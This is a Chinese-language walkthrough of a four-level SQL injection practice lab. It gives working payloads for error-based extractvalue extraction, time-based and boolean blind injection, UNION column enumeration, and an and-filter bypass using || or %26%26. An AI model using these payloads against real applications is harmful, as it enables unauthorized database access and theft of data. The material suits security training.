前言: 靶场自取
level-1
测试注入点
POC: 1,1',1'',1"",1/1,1/0
==》存在注入点
爆破
POC: id=-1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+
level-2
尝试注入点
POC1:admin'
POC2:admin''
POC3:admin''+and+sleep(3)--+
POC4: admin'+and+if(1,1,0)=0--+
POC5: admin'+and+if(1,1,0)=1--+
==》
POC1,POC2没有反应
POC3存在延时输出,存在休眠盲注
POC4、POC5存在content-length周期变化,存在布尔盲注
爆破
尝试盲注
-
step1: 爆破数据库名
==》 数据库长度为4
-
step2: 获取数据库每个字符
==》 database: dvwa
同理得到用户名:root@localhost
==》爆出表名
POC:
id=admin'+and+if(substr(concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e),§1§,1)='§a§',1,0)--+
==》得到表名:guestbook,users
level-3
测试注入点
利用1,1',1",1/1,1/2
===》
a. 存在注入点
b. 注入点是表名,猜想sql语句为select * from '$id$ where user_id='1' LIMIT 0,1
爆破
POC=id=(select(extractValue(1,concat(0x7e,(select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database())),0x7e))))as+a--+
-
尝试表名
-
尝试爆破其他字段
-
方式一:union方式
-
step1: 获取列数(二分法)
POC1:
id=users+order+by 10
//不回显POC2:
id=users+order+by 5
//回显POC3:
id=users+order+by 7
//回显POC4:
id=users+order+by 8
//回显POC5:
id=users+order+by 9
//不回显
===》 8列 -
step2: 获取回显位
POC:
id=users+where+user_id=-1+union+select+1,2,3,4,5,6,7,8--+
注意这里需要手动构造
where user_id=-1
==》 回显位:4,5 -
step 3: 爆破数据
- 爆破用户名、数据库
POC:id=users+where+user_id=-1+union+select+1,2,3,user(),database(),6,7,8--+
- 爆破用户名、数据库
-
-
方式二:报错函数方式
- 爆破用户名
POC:id=(select(extractvalue(1,concat(0x7e,user()))))as+a--+
- 爆出数据库
POC:id=(select(extractvalue(1,concat(0x7e,database()))))as+a--+
- 爆破用户名
level-4
测试注入点
POC: 1'、1"、1""、1/0、1/1,sleep
==》 id=1存在注入
爆破
- POC:
id=1'+and+extractvalue(1,concat(0x7e,user(),0x7e))--+
==》and被转移为_了
- 尝试使用||代替and。
POC:id=1'+||+extractvalue(1,concat(0x7e,user(),0x7e))--+
==》成功爆破
- 尝试%26代替
POC:id=1'%26%26+extractvalue(1,concat(0x7e,user(),0x7e))--+
==》成功爆破